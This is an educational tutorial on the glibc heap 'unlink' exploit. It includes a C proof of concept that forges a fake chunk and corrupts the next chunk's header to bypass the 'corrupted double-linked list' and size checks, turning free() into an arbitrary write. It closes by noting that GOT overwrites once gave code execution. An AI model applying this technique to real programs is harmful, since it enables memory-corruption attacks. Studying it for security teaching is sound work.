Unlink Exploit

This particular attack was once quite common. However, two security checks were added in the unlink MACRO (“corrupted size vs. prev_size” and “corrupted double-linked list”) which reduced the impact of the attack to some extent. Nevertheless, it is worthwhile to spend some time on it. It exploits the pointer manipulation done in the unlink MACRO while removing a chunk from a bin.

Consider this sample code (download the complete version here):

  1. struct chunk_structure {
  2. size_t prev_size;
  3. size_t size;
  4. struct chunk_structure *fd;
  5. struct chunk_structure *bk;
  6. char buf[10]; // padding
  7. };
  8. unsigned long long *chunk1, *chunk2;
  9. struct chunk_structure *fake_chunk, *chunk2_hdr;
  10. char data[20];
  11. // First grab two chunks (non fast)
  12. chunk1 = malloc(0x80); // Points to 0xa0e010
  13. chunk2 = malloc(0x80); // Points to 0xa0e0a0
  14. // Assuming attacker has control over chunk1's contents
  15. // Overflow the heap, override chunk2's header
  16. // First forge a fake chunk starting at chunk1
  17. // Need to setup fd and bk pointers to pass the unlink security check
  18. fake_chunk = (struct chunk_structure *)chunk1;
  19. fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  20. fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
  21. // Next modify the header of chunk2 to pass all security checks
  22. chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  23. chunk2_hdr->prev_size = 0x80; // chunk1's data region size
  24. chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
  25. // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  26. // This results in chunk1 pointer pointing to chunk1 - 3
  27. // i.e. chunk1[3] now contains chunk1 itself.
  28. // We then make chunk1 point to some victim's data
  29. free(chunk2);
  30. chunk1[3] = (unsigned long long)data;
  31. strcpy(data, "Victim's data");
  32. // Overwrite victim's data using chunk1
  33. chunk1[0] = 0x002164656b636168LL; // hex for "hacked!"
  34. printf("%s\n", data); // Prints "hacked!"

This might look a little complicated compared to other attacks. First, we malloc two chunks chunk1 and chunk2 with size 0x80 to ensure that they fall in the smallbin range. Next, we assume that the attacker somehow has unbounded control over the contents of chunk1 (this can be using any ‘unsafe’ function such as strcpy on user input). Notice that both the chunks will lie in the memory side by side. The code shown above uses custom struct chunk_structure for clarity purposes only. In an attack scenario, the attacker shall simply send bytes to fill in chunk1 that would have the same effect as above.

A new fake chunk is created in the ‘data’ part of chunk1. The fd and bk pointers are adjusted to pass the “corrupted double-linked list” security check. The contents of the attacker are overflowed into chunk2‘s header that sets appropriate prev_size and prev_in_use bit. This ensures that whenever chunk2 is freed, the fake_chunk will be detected as ‘freed’ and will be unlinked‘. The following diagrams shows the current state of the various memory regions:

Unlink before call to free

Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed. This shall give an intuition regarding how to adjust the fd and bk pointers of the fake chunk.

As soon as chunk2 is freed, it is handled as a small bin. Recall that previous and next chunks (by memory) are checked whether they are ‘free’ or not. If any chunk is detected as ‘free’, it is unlinked for the purpose of merging consecutive free chunks. The unlink MACRO executes the following two instructions that modify pointers:

  1. Set P->fd->bk = P->bk.
  2. Set P->bk->fd = P->fd.

In this case, both P->fd->bk and P->bk->fd point to the same location so only the second update is noticed. The following diagram shows the effects of the second update just after chunk2 is freed.

Unlink after call to free

Now, we have chunk1 pointing to 3 addresses (16-bit) behind itself (&chunk1 - 3). Hence, chunk1[3] is in fact the chunk1. Changing chunk1[3] is like changing chunk1. Notice that an attacker has a greater chance of getting an opportunity to update data at location chunk1 (chunk1[3] here) instead of chunk1 itself. This completes the attack. In this example, chunk1 was made to point to a ‘data’ variable and changes through chunk1 were reflected on that variable.

Earlier, with the absence of security checks in unlink, the two write instructions in the unlink MACRO were used to achieve arbitrary writes. By overwriting .got sections, this led to arbitrary code execution.